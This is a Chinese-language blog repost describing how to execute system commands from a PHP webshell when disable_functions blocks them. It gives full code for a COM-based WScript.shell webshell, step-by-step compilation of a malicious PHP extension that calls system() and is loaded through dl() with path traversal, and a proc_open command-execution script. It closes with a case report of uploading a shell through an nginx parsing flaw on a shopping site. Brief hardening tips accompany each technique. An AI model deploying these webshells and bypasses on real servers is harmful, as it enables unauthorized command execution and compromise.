最新消息:

Webshell下命令执行限制及绕过方法

php安全 admin 3778浏览 0评论

0×00 前言

上传webshell后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方式,防守方也必须根据绕过方式想想更强的防御.

0×01 php webshell执行命令原理

php webshell(以下简称webshell)下是怎么执行系统命令的?我们找一个webshell分析下

搜索关键字定位到以下代码

function execute($cfe) {

       $res = '';

       if ($cfe) {

              if(function_exists('system')) {

                     @ob_start();

                     @system($cfe);

                     $res = @ob_get_contents();

                     @ob_end_clean();

              } elseif(function_exists('passthru')) {

                     @ob_start();

                     @passthru($cfe);

                     $res = @ob_get_contents();

                     @ob_end_clean();

              } elseif(function_exists('shell_exec')) {

                     $res = @shell_exec($cfe);

              } elseif(function_exists('exec')) {

                     @exec($cfe,$res);

                     $res = join("\n",$res);

              } elseif(@is_resource($f = @popen($cfe,"r"))) {

                     $res = '';

                     while(!@feof($f)) {

                            $res .= @fread($f,1024);

                     }

                     @pclose($f);

              }

       }

       return $res;

}

即按顺利调用system(),passthru(),shell_exec,exec,popen函数 成功调用就不再往下调用

0×02禁止webshell执行命令原理

Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,

服务器便是用这个来禁止php的执行命令函数,

例如:

disable_functions =system,passthru,shell_exec,exec,popen

便禁止了用这些函数来执行系统命令

 

0×03黑名单绕过

知道了原理后,我们便能想出很多绕过的方式

首先是黑名单绕过

我们看看php下能够执行系统命令的函数有哪些

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)

那么 便可以看看php.ini中的disable_function漏过了哪些函数。

然后 hack it.

曾经在给某大企业做渗透测试时,未禁用assert 成功执行命令

乌云上的案例 未禁用proc_open而引起

http://www.wooyun.org/bugs/wooyun-2013-015991

解决方案:关注并收集php系统命令执行函数,补齐disable_function项。

 

0×04 系统组件绕过

这个方法适用于windows

看代码

<?php

$command=$_POST[a];

$wsh = new COM('WScript.shell');   // 生成一个COM对象

$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput

?>

Shell.Application也可以实现同样的效果

彻底的解决方案是 直接删除System32目录下wshom.ocx文件

 

0×05拓展库绕过

Linux下可通过编译拓展库进行绕过

网络上的方法及官方的方法 都提示错误,

经过研究 给出一种正确编译PHP拓展库的方法

前方高能。

首先得知PHP服务器php版本,下载个相同或相近版本的php源码

tar zxvf php-5.3.10.tar.gz  //解压缩

cd php-5.3.10/ext     

./ext_skel --extname=dl  //生成名为dl的拓展库

cd dl

vi config.m4

将这三行

PHP_ARG_WITH(dl, for dl support,

Make sure that the comment is aligned:

[  --with-dl             Include dl support])

前面的dnl去掉并保存

whereis phpize          //找出phpize路径

/usr/local/bin/phpize     // 运行phpize

vi dl.c

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {

                return;

        }

这一行下添加

system(arg);
whereis php-config  //找出php-config的路径

./configure --whith-php-config=php-config路径

make

make install

[root@TENCENT64 ~/php-5.3.10/ext/dl]# make install

Installing shared extensions:     /usr/local/lib/php/extensions/no-debug-non-zts-20121212/

成功生成了

 

查看php.ini的

extension_dir 项

/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so

拷贝到extension_dir目录下

若extension_dir目录无写权限则可写入任意目录用../../来绕过并调用。

利用代码:

<?php

dl("dl.so");  //dl.so在extension_dir目录,如不在则用../../来实现调用

confirm_dl_compiled("$_GET[a]>1.txt");

?>

查看1.txt即可看到命令执行结果 

防御方法:将dl函数加入disable_function中禁用

 

转自:http://www.2cto.com/Article/201404/296032.html

————————————————————————————————————————————–

某买果网站nginx解析+突破disable_function执行命令

运气好遇上了nginx解析漏洞,传了shell之后发现不能执行命令。仔细一看,有转机。。。

nginx 解析漏洞。

注册个用户,上传头像,成功拿到shell
14005854978067a1180f94ac495386915bec2a84

执行命令失败,看看disable_function有哪些函数。

14010115fb34c4df29d19f9b860353c76bb61508

发现未禁用 proc_open 函数,使用此函数来突破,代码如下:

<?php

$command="id\npwd\n";

$descriptorspec = array(

	0 => array('pipe', 'r'),

	1 => array('pipe', 'w'),

	2 => array('pipe', 'w')

);

$resource = proc_open($command, $descriptorspec, $pipes, null, $_ENV);

if (is_resource($resource))

{

	fwrite($pipes[0], "pwd\n");

	$stdin = $pipes[0];

	$stdout = $pipes[1];

	$stderr = $pipes[2];

	while (! feof($stdout))

	{

		$retval .= fgets($stdout,1024);

	}

	while (! feof($stderr))

	{

		$error .= fgets($stderr);

	}

	fwrite($pipes[0], "pwd\n");

	$stdout = $pipes[1];

	$stderr = $pipes[2];

	while (! feof($stdout))

	{

		$retval .= fgets($stdout,1024);

	}

	while (! feof($stderr))

	{

		$error .= fgets($stderr);

	}

	fclose($stdin);

	fclose($stdout);

	fclose($stderr);

	$exit_code = proc_close($resource);

}

if (! empty($error))

	throw new Exception($error);

else

	echo $retval;

?>

漏洞证明:

14010127230d36d466f43eaae3dedae4c5f63b34

修复方案:

首要是配置好nginx,其次上传图片可以考虑二次渲染。

转自:http://www.wooyun.org/bugs/wooyun-2013-015991

转载请注明:jinglingshu的博客 » Webshell下命令执行限制及绕过方法

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 文件操作函数的一些绕过,可以参考http://www.jinglingshu.wiki/?p=5901
    jingjing11年前 (2014-04-29)回复